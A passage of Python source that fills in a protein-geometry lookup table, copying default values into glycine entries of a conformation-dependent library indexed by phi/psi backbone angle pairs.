Gly_nonxpro[(140, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(150, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(160, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(170, 160)]=Gly_nonxpro[(-180, -150)]
Gly_xpro = cdl_database["Gly_xpro"]
Gly_xpro[(-180, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-180, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-170, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-160, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-150, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-140, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-130, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-120, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-110, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-100, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(-90, -20)]=Gly_xpro[(-180, -180)]
